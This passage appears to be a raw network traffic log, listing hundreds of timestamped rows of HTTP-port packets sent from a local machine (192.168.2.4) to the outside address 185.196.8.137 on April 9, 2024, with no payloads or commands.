Apr 9, 2024 14:54:08.178924084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178924084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178973913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.178973913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179014921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179014921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179049969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179049969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179100990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179100990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179150105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179150105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179189920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179189920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179224968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179224968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179265022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179265022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179301977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179301977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179338932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179338932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179375887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179375887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179424047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179424047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179475069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179475069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179512024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179512024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179548979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179548979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179589033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179589033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179626942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179626942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179662943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179662943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179709911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179709911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179747105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179747105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179786921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179786921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179830074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179830074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179838896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179903030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179929018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179996967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.179996967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180088997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180149078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180149078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180195093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180195093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180238962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180238962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180437088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180480003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180480003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180520058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180520058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180583000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180583000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180671930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180720091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180720091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180768013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.180768013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182255030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182306051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182306051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182341099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182369947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182369947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182435989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182490110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182490110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182528019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182672977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182672977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182713032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182713032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182751894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182751894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182796955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182796955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182841063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182841063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182890892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182890892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182924986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182924986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182964087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.182964087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183006048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183006048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183048010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183048010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183085918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183085918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183123112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183123112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183162928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183162928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183198929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183198929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183245897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183245897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183289051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183289051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183325052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183325052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183363914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183365107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183408022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183408022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183443069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183443069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183479071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183479071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183521986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183521986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183557987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183557987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183603048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183603048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183636904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183636904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183681011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183681011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183721066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183721066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183763981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183763981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183801889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183801889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183829069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183864117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183864117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183907032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183907032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183944941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.183944941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184155941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184204102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184204102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184245110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184245110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184273958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184345961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184345961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184438944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184483051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184483051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184515953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184515953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184613943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184675932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184675932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184813976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184873104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184873104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184910059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184910059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184952974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184952974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184993982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.184993982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185029984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185029984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185075045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185075045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185112953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185113907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185152054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185152054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185203075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185203075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185237885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185237885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185281038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185281038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185317039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185317039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185353994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185353994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185394049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185394049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185436010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185436010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185478926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185478926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185534000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185534000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185569048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185569048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185703993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185703993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185791969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185791969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185846090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185846090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185882092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185883045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185935974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185935974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185986042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.185986042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186022043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186022043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186075926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186075926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186125994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186125994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186166048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186166048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186211109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186211109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186280966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186280966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186312914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186312914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186337948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186337948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186381102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186381102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186431885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186431885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186467886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186467886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186515093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186515093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186553955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186553955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186599016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186599016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186646938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186646938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186681986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186681986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186727047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186727047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186768055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186768055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186809063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186809063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186847925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186847925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186894894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186894894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186933041 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186933041 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186979055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.186979055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187026024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187026024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187073946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187073946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187108040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187108040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187153101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187153101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187192917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187192917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187239885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187239885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187289000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187289000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187342882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187342882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187496901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187496901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187604904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187633038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187633038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187707901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187707901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187738895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187738895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187800884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187802076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187844038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187844038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187913895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187979937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.187979937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188075066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188112974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188112974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188344002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188431978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188431978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188529015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188568115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188568115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188632965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188632965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188666105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188791037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.188862085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189074993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189141989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189141989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189204931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189204931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189338923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189403057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189403057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189440012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189440012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189501047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189501047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189548016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189548016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189584017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189584017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189795017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189964056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.189964056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190016031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190016031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190056086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190056086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190102100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190135002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190135002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190239906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190279007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190279961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190324068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.190324068 CEST	49744	80	192.168.2.4	185.196.8.137
